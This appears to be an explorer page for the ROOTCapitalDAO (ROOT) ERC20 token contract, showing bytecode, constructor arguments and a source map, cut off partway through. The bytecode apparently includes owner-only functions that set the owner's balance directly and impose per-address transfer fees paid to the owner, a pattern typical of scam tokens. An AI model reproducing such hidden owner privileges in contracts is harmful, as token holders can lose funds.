0000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000002dcbf4840eca0000000000000000000000000000000000000000000000000000000000000000000e524f4f544361706974616c44414f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004524f4f5400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063d76f120e11610071578063d76f120e1461030b578063db6fc5fc14610327578063dd62ed3e14610343578063f2fde38b14610373578063ffa1ad741461038f57610116565b80638da5cb5b1461026f57806395d89b411461028d578063a457c2d7146102ab578063a9059cbb146102db57610116565b8063313ce567116100e9578063313ce567146101b757806337e1ac80146101d5578063395093511461020557806370a0823114610235578063715018a61461026557610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b6101236103ad565b6040516101309190611619565b60405180910390f35b610153600480360381019061014e9190611437565b61043f565b60405161016091906115fe565b60405180910390f35b61017161045d565b60405161017e91906116fb565b60405180910390f35b6101a1600480360381019061019c91906113e8565b610467565b6040516101ae91906115fe565b60405180910390f35b6101bf610540565b6040516101cc9190611716565b60405180910390f35b6101ef60048036038101906101ea9190611383565b610557565b6040516101fc91906116fb565b60405180910390f35b61021f600480360381019061021a9190611437565b6105a0565b60405161022c91906115fe565b60405180910390f35b61024f600480360381019061024a9190611383565b610653565b60405161025c91906116fb565b60405180910390f35b61026d61069c565b005b610277610724565b60405161028491906115e3565b60405180910390f35b61029561074d565b6040516102a29190611619565b60405180910390f35b6102c560048036038101906102c09190611437565b6107df565b6040516102d291906115fe565b60405180910390f35b6102f560048036038101906102f09190611437565b6108ac565b60405161030291906115fe565b60405180910390f35b61032560048036038101906103209190611437565b6108ca565b005b610341600480360381019061033c9190611473565b61098e565b005b61035d600480360381019061035891906113ac565b610a58565b60405161036a91906116fb565b60405180910390f35b61038d60048036038101906103889190611383565b610adf565b005b610397610bd7565b6040516103a491906116fb565b60405180910390f35b6060600480546103bc906118ea565b80601f01602080910402602001604051908101604052809291908181526020018280546103e8906118ea565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610bf2565b8484610bfa565b6001905092915050565b6000600754905090565b6000610474848484610dc5565b61053584610480610bf2565b61053085604051806060016040528060288152602001611bc360289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e6610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006106496105ad610bf2565b8461064485600260006105be610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b610bfa565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106a4610bf2565b73ffffffffffffffffffffffffffffffffffffffff166106c2610724565b73ffffffffffffffffffffffffffffffffffffffff1614610718576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070f9061169b565b60405180910390fd5b610722600061124e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606005805461075c906118ea565b80601f0160208091040260200160405190810160405280929190818152602001828054610788906118ea565b80156107d55780601f106107aa576101008083540402835291602001916107d5565b820191906000526020600020905b8154815290600101906020018083116107b857829003601f168201915b5050505050905090565b60006108a26107ec610bf2565b8461089d85604051806060016040528060258152602001611beb6025913960026000610816610bf2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b610bfa565b6001905092915050565b60006108c06108b9610bf2565b8484610dc5565b6001905092915050565b6108d2610bf2565b73ffffffffffffffffffffffffffffffffffffffff166108f0610724565b73ffffffffffffffffffffffffffffffffffffffff1614610946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093d9061169b565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b610996610bf2565b73ffffffffffffffffffffffffffffffffffffffff166109b4610724565b73ffffffffffffffffffffffffffffffffffffffff1614610a0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a019061169b565b60405180910390fd5b8060016000610a17610724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ae7610bf2565b73ffffffffffffffffffffffffffffffffffffffff16610b05610724565b73ffffffffffffffffffffffffffffffffffffffff1614610b5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b529061169b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc29061165b565b60405180910390fd5b610bd48161124e565b50565b600181565b60008183610bea919061174d565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c61906116db565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd19061167b565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db891906116fb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906116bb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c9061163b565b60405180910390fd5b610eb0838383611312565b6000610f176064610f09600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561131790919063ffffffff16565b61132d90919063ffffffff16565b90506000610f2e828461134390919063ffffffff16565b9050610f9c83604051806060016040528060268152602001611b9d60269139600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111f99092919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103181600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110cd8260016000611084610724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bdc90919063ffffffff16565b600160006110d9610724565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161117491906116fb565b60405180910390a360008211156111f25761118d610724565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111e991906116fb565b60405180910390a35b5050505050565b6000838311158290611241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112389190611619565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000818361132591906117d4565b905092915050565b6000818361133b91906117a3565b905092915050565b60008183611351919061182e565b905092915050565b60008135905061136881611b6e565b92915050565b60008135905061137d81611b85565b92915050565b60006020828403121561139557600080fd5b60006113a384828501611359565b91505092915050565b600080604083850312156113bf57600080fd5b60006113cd85828601611359565b92505060206113de85828601611359565b9150509250929050565b6000806000606084860312156113fd57600080fd5b600061140b86828701611359565b935050602061141c86828701611359565b925050604061142d8682870161136e565b9150509250925092565b6000806040838503121561144a57600080fd5b600061145885828601611359565b92505060206114698582860161136e565b9150509250929050565b60006020828403121561148557600080fd5b60006114938482850161136e565b91505092915050565b6114a581611862565b82525050565b6114b481611874565b82525050565b60006114c582611731565b6114cf818561173c565b93506114df8185602086016118b7565b6114e8816119a9565b840191505092915050565b600061150060238361173c565b915061150b826119ba565b604082019050919050565b600061152360268361173c565b915061152e82611a09565b604082019050919050565b600061154660228361173c565b915061155182611a58565b604082019050919050565b600061156960208361173c565b915061157482611aa7565b602082019050919050565b600061158c60258361173c565b915061159782611ad0565b604082019050919050565b60006115af60248361173c565b91506115ba82611b1f565b604082019050919050565b6115ce816118a0565b82525050565b6115dd816118aa565b82525050565b60006020820190506115f8600083018461149c565b92915050565b600060208201905061161360008301846114ab565b92915050565b6000602082019050818103600083015261163381846114ba565b905092915050565b60006020820190508181036000830152611654816114f3565b9050919050565b6000602082019050818103600083015261167481611516565b9050919050565b6000602082019050818103600083015261169481611539565b9050919050565b600060208201905081810360008301526116b48161155c565b9050919050565b600060208201905081810360008301526116d48161157f565b9050919050565b600060208201905081810360008301526116f4816115a2565b9050919050565b600060208201905061171060008301846115c5565b92915050565b600060208201905061172b60008301846115d4565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611758826118a0565b9150611763836118a0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117985761179761191c565b5b828201905092915050565b60006117ae826118a0565b91506117b9836118a0565b9250826117c9576117c861194b565b5b828204905092915050565b60006117df826118a0565b91506117ea836118a0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156118235761182261191c565b5b828202905092915050565b6000611839826118a0565b9150611844836118a0565b9250828210156118575761185661191c565b5b828203905092915050565b600061186d82611880565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118d55780820151818401526020810190506118ba565b838111156118e4576000848401525b50505050565b6000600282049050600182168061190257607f821691505b602082108114156119165761191561197a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611b7781611862565b8114611b8257600080fd5b50565b611b8e816118a0565b8114611b9957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220251e1241b51d23f1e110f93f40670fc7750d1d876a7da3ffcb0501f995d4c40264736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000002dcbf4840eca0000000000000000000000000000000000000000000000000000000000000000000e524f4f544361706974616c44414f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004524f4f5400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): ROOTCapitalDAO
Arg [1] : symbol_ (string): ROOT
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3300000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 0000000000000000000000000000000000000000000000002dcbf4840eca0000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [5] : 524f4f544361706974616c44414f000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 524f4f5400000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

5243:5945:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6384:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7421:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6685:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7639:454;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6586:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6166:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8101:300;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6801:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1712:94;;;:::i;:::-;;1489:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6483:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8409:400;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6986:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6054:106;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6277:97;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7210:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1814:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5338:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6384:91;6429:13;6462:5;6455:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6384:91;:::o;7421:210::-;7540:4;7562:39;7571:12;:10;:12::i;:::-;7585:7;7594:6;7562:8;:39::i;:::-;7619:4;7612:11;;7421:210;;;;:::o;6685:108::-;6746:7;6773:12;;6766:19;;6685:108;:::o;7639:454::-;7779:4;7796:36;7806:6;7814:9;7825:6;7796:9;:36::i;:::-;7843:220;7866:6;7887:12;:10;:12::i;:::-;7914:138;7970:6;7914:138;;;;;;;;;;;;;;;;;:11;:19;7926:6;7914:19;;;;;;;;;;;;;;;:33;7934:12;:10;:12::i;:::-;7914:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7843:8;:220::i;:::-;8081:4;8074:11;;7639:454;;;;;:::o;6586:91::-;6635:5;6660:9;;;;;;;;;;;6653:16;;6586:91;:::o;6166:105::-;6222:7;6249:5;:14;6255:7;6249:14;;;;;;;;;;;;;;;;6242:21;;6166:105;;;:::o;8101:300::-;8216:4;8238:133;8261:12;:10;:12::i;:::-;8288:7;8310:50;8349:10;8310:11;:25;8322:12;:10;:12::i;:::-;8310:25;;;;;;;;;;;;;;;:34;8336:7;8310:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8238:8;:133::i;:::-;8389:4;8382:11;;8101:300;;;;:::o;6801:177::-;6920:7;6952:9;:18;6962:7;6952:18;;;;;;;;;;;;;;;;6945:25;;6801:177;;;:::o;1712:94::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1777:21:::1;1795:1;1777:9;:21::i;:::-;1712:94::o:0;1489:87::-;1535:7;1562:6;;;;;;;;;;;1555:13;;1489:87;:::o;6483:95::-;6530:13;6563:7;6556:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6483:95;:::o;8409:400::-;8529:4;8551:228;8574:12;:10;:12::i;:::-;8601:7;8623:145;8680:15;8623:145;;;;;;;;;;;;;;;;;:11;:25;8635:12;:10;:12::i;:::-;8623:25;;;;;;;;;;;;;;;:34;8649:7;8623:34;;;;;;;;;;;;;;;;:38;;:145;;;;;:::i;:::-;8551:8;:228::i;:::-;8797:4;8790:11;;8409:400;;;;:::o;6986:216::-;7108:4;7130:42;7140:12;:10;:12::i;:::-;7154:9;7165:6;7130:9;:42::i;:::-;7190:4;7183:11;;6986:216;;;;:::o;6054:106::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6148:4:::1;6131:5;:14;6137:7;6131:14;;;;;;;;;;;;;;;:21;;;;6054:106:::0;;:::o;6277:97::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6361:5:::1;6340:9;:18;6350:7;:5;:7::i;:::-;6340:18;;;;;;;;;;;;;;;:26;;;;6277:97:::0;:::o;7210:201::-;7344:7;7376:11;:18;7388:5;7376:18;;;;;;;;;;;;;;;:27;7395:7;7376:27;;;;;;;;;;;;;;;;7369:34;;7210:201;;;;:::o;1814:192::-;1635:12;:10;:12::i;:::-;1624:23;;:7;:5;:7::i;:::-;:23;;;1616:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1923:1:::1;1903:22;;:8;:22;;;;1895:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1979:19;1989:8;1979:9;:19::i;:::-;1814:192:::0;:::o;5338:35::-;5372:1;5338:35;:::o;3569:98::-;3627:7;3658:1;3654;:5;;;;:::i;:::-;3647:12;;3569:98;;;;:::o;1044:::-;1097:7;1124:10;1117:17;;1044:98;:::o;10566:380::-;10719:1;10702:19;;:5;:19;;;;10694:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10800:1;10781:21;;:7;:21;;;;10773:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10884:6;10854:11;:18;10866:5;10854:18;;;;;;;;;;;;;;;:27;10873:7;10854:27;;;;;;;;;;;;;;;:36;;;;10922:7;10906:32;;10915:5;10906:32;;;10931:6;10906:32;;;;;;:::i;:::-;;;;;;;;10566:380;;;:::o;8817:892::-;8975:1;8957:20;;:6;:20;;;;8949:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9059:1;9038:23;;:9;:23;;;;9030:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9114:47;9135:6;9143:9;9154:6;9114:20;:47::i;:::-;9174:12;9189:34;9219:3;9189:25;9200:5;:13;9206:6;9200:13;;;;;;;;;;;;;;;;9189:6;:10;;:25;;;;:::i;:::-;:29;;:34;;;;:::i;:::-;9174:49;;9235:23;9261:16;9272:4;9261:6;:10;;:16;;;;:::i;:::-;9235:42;;9310:108;9346:6;9310:108;;;;;;;;;;;;;;;;;:9;:17;9320:6;9310:17;;;;;;;;;;;;;;;;:21;;:108;;;;;:::i;:::-;9290:9;:17;9300:6;9290:17;;;;;;;;;;;;;;;:128;;;;9452:41;9477:15;9452:9;:20;9462:9;9452:20;;;;;;;;;;;;;;;;:24;;:41;;;;:::i;:::-;9429:9;:20;9439:9;9429:20;;;;;;;;;;;;;;;:64;;;;9525:28;9548:4;9525:9;:18;9535:7;:5;:7::i;:::-;9525:18;;;;;;;;;;;;;;;;:22;;:28;;;;:::i;:::-;9504:9;:18;9514:7;:5;:7::i;:::-;9504:18;;;;;;;;;;;;;;;:49;;;;9587:9;9570:44;;9579:6;9570:44;;;9598:15;9570:44;;;;;;:::i;:::-;;;;;;;;9636:1;9629:4;:8;9625:77;;;9676:7;:5;:7::i;:::-;9659:31;;9668:6;9659:31;;;9685:4;9659:31;;;;;;:::i;:::-;;;;;;;;9625:77;8817:892;;;;;:::o;4099:240::-;4219:7;4277:1;4272;:6;;4280:12;4264:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;4319:1;4315;:5;4308:12;;4099:240;;;;;:::o;2014:173::-;2070:16;2089:6;;;;;;;;;;;2070:25;;2115:8;2106:6;;:17;;;;;;;;;;;;;;;;;;2170:8;2139:40;;2160:8;2139:40;;;;;;;;;;;;2014:173;;:::o;11060:125::-;;;;:::o;3781:98::-;3839:7;3870:1;3866;:5;;;;:::i;:::-;3859:12;;3781:98;;;;:::o;3887:::-;3945:7;3976:1;3972;:5;;;;:::i;:::-;3965:12;;3887:98;;;;:::o;3675:::-;3733:7;3764:1;3760;:5;;;;:::i;:::-;3753:12;;3675:98;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;204:87;;;;:::o;297:262::-;356:6;405:2;393:9;384:7;380:23;376:32;373:2;;;421:1;418;411:12;373:2;464:1;489:53;534:7;525:6;514:9;510:22;489:53;:::i;:::-;479:63;;435:117;363:196;;;;:::o;565:407::-;633:6;641;690:2;678:9;669:7;665:23;661:32;658:2;;;706:1;703;696:12;658:2;749:1;774:53;819:7;810:6;799:9;795:22;774:53;:::i;:::-;764:63;;720:117;876:2;902:53;947:7;938:6;927:9;923:22;902:53;:::i;:::-;892:63;;847:118;648:324;;;;;:::o;978:552::-;1055:6;1063;1071;1120:2;1108:9;1099:7;1095:23;1091:32;1088:2;;;1136:1;1133;1126:12;1088:2;1179:1;1204:53;1249:7;1240:6;1229:9;1225:22;1204:53;:::i;:::-;1194:63;;1150:117;1306:2;1332:53;1377:7;1368:6;1357:9;1353:22;1332:53;:::i;:::-;1322:63;;1277:118;1434:2;1460:53;1505:7;1496:6;1485:9;1481:22;1460:53;:::i;:::-;1450:63;;1405:118;1078:452;;;;;:::o;1536:407::-;1604:6;1612;1661:2;1649:9;1640:7;1636:23;1632:32;1629:2;;;1677:1;1674;1667:12;1629:2;1720:1;1745:53;1790:7;1781:6;1770:9;1766:22;1745:53;:::i;:::-;1735:63;;1691:117;1847:2;1873:53;1918:7;1909:6;1898:9;1894:22;1873:53;:::i;:::-;1863:63;;1818:118;1619:324;;;;;:::o;1949:262::-;2008:6;2057:2;2045:9;2036:7;2032:23;2028:32;2025:2;;;2073:1;2070;2063:12;2025:2;2116:1;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2087:117;2015:196;;;;:::o;2217:118::-;2304:24;2322:5;2304:24;:::i;:::-;2299:3;2292:37;2282:53;;:::o;2341:109::-;2422:21;2437:5;2422:21;:::i;:::-;2417:3;2410:34;2400:50;;:::o;2456:364::-;2544:3;2572:39;2605:5;2572:39;:::i;:::-;2627:71;2691:6;2686:3;2627:71;:::i;:::-;2620:78;;2707:52;2752:6;2747:3;2740:4;2733:5;2729:16;2707:52;:::i;:::-;2784:29;2806:6;2784:29;:::i;:::-;2779:3;2775:39;2768:46;;2548:272;;;;;:::o;2826:366::-;2968:3;2989:67;3053:2;3048:3;2989:67;:::i;:::-;2982:74;;3065:93;3154:3;3065:93;:::i;:::-;3183:2;3178:3;3174:12;3167:19;;2972:220;;;:::o;3198:366::-;3340:3;3361:67;3425:2;3420:3;3361:67;:::i;:::-;3354:74;;3437:93;3526:3;3437:93;:::i;:::-;3555:2;3550:3;3546:12;3539:19;;3344:220;;;:::o;3570:366::-;3712:3;3733:67;3797:2;3792:3;3733:67;:::i;:::-;3726:74;;3809:93;3898:3;3809:93;:::i;:::-;3927:2;3922:3;3918:12;3911:19;;3716:220;;;:::o;3942:366::-;4084:3;4105:67;4169:2;4164:3;4105:67;:::i;:::-;4098:74;;4181:93;4270:3;4181:93;:::i;:::-;4299:2;4294:3;4290:12;4283:19;;4088:220;;;:::o;4314:366::-;4456:3;4477:67;4541:2;4536:3;4477:67;:::i;:::-;4470:74;;4553:93;4642:3;4553:93;:::i;:::-;4671:2;4666:3;4662:12;4655:19;;4460:220;;;:::o;4686:366::-;4828:3;4849:67;4913:2;4908:3;4849:67;:::i;:::-;4842:74;;4925:93;5014:3;4925:93;:::i;:::-;5043:2;5038:3;5034:12;5027:19;;4832:220;;;:::o;5058:118::-;5145:24;5163:5;5145:24;:::i;:::-;5140:3;5133:37;5123:53;;:::o;5182:112::-;5265:22;5281:5;5265:22;:::i;:::-;5260:3;5253:35;5243:51;;:::o;5300:222::-;5393:4;5431:2;5420:9;5416:18;5408:26;;5444:71;5512:1;5501:9;5497:17;5488:6;5444:71;:::i;:::-;5398:124;;;;:::o;5528:210::-;5615:4;5653:2;5642:9;5638:18;5630:26;;5666:65;5728:1;5717:9;5713:17;5704:6;5666:65;:::i;:::-;5620:118;;;;:::o;5744:313::-;5857:4;5895:2;5884:9;5880:18;5872:26;;5944:9;5938:4;5934:20;5930:1;5919:9;5915:17;5908:47;5972:78;6045:4;6036:6;5972:78;:::i;:::-;5964:86;;5862:195;;;;:::o;6063:419::-;6229:4;6267:2;6256:9;6252:18;6244:26;;6316:9;6310:4;6306:20;6302:1;6291:9;6287:17;6280:47;6344:131;6470:4;6344:131;:::i;:::-;6336:139;;6234:248;;;:::o;6488:419::-;6654:4;6692:2;6681:9;6677:18;6669:26;;6741:9;6735:4;6731:20;6727:1;6716:9;6712:17;6705:47;6769:131;6895:4;6769:131;:::i;:::-;6761:139;;6659:248;;;:::o;6913:419::-;7079:4;7117:2;7106:9;7102:18;7094:26;;7166:9;7160:4;7156:20;7152:1;7141:9;7137:17;7130:47;7194:131;7320:4;7194:131;:::i;:::-;7186:139;;7084:248;;;:::o;7338:419::-;7504:4;7542:2;7531:9;7527:18;7519:26;;7591:9;7585:4;7581:20;7577:1;7566:9;7562:17;7555:47;7619:131;7745:4;7619:131;:::i;:::-;7611:139;;7509:248;;;:::o;7763:419::-;7929:4;7967:2;7956:9;7952:18;7944:26;;8016:9;8010:4;8006:20;8002:1;7991:9;7987:17;7980:47;8044:131;8170:4;8044:131;:::i;:::-;8036:139;;7934:248;;;:::o;8188:419::-;8354:4;8392:2;8381:9;8377:18;8369:26;;8441:9;8435:4;8431:20;8427:1;8416:9;8412:17;8405:47;8469:131;8595:4;8469:131;:::i;:::-;8461:139;;8359:248;;;:::o;8613:222::-;8706:4;8744:2;8733:9;8729:18;8721:26;;8757:71;8825:1;8814:9;8810:17;8801:6;8757:71;:::i;:::-;8711:124;;;;:::o;8841:214::-;8930:4;8968:2;8957:9;8953:18;8945:26;;8981:67;9045:1;9034:9;9030:17;9021:6;8981:67;:::i;:::-;8935:120;;;;:::o;9061:99::-;9113:6;9147:5;9141:12;9131:22;;9120:40;;;:::o;9166:169::-;9250:11;9284:6;9279:3;9272:19;9324:4;9319:3;9315:14;9300:29;;9262:73;;;;:::o;9341:305::-;9381:3;9400:20;9418:1;9400:20;:::i;:::-;9395:25;;9434:20;9452:1;9434:20;:::i;:::-;9429:25;;9588:1;9520:66;9516:74;9513:1;9510:81;9507:2;;;9594:18;;:::i;:::-;9507:2;9638:1;9635;9631:9;9624:16;;9385:261;;;;:::o;9652:185::-;9692:1;9709:20;9727:1;9709:20;:::i;:::-;9704:25;;9743:20;9761:1;9743:20;:::i;:::-;9738:25;;9782:1;9772:2;;9787:18;;:::i;:::-;9772:2;9829:1;9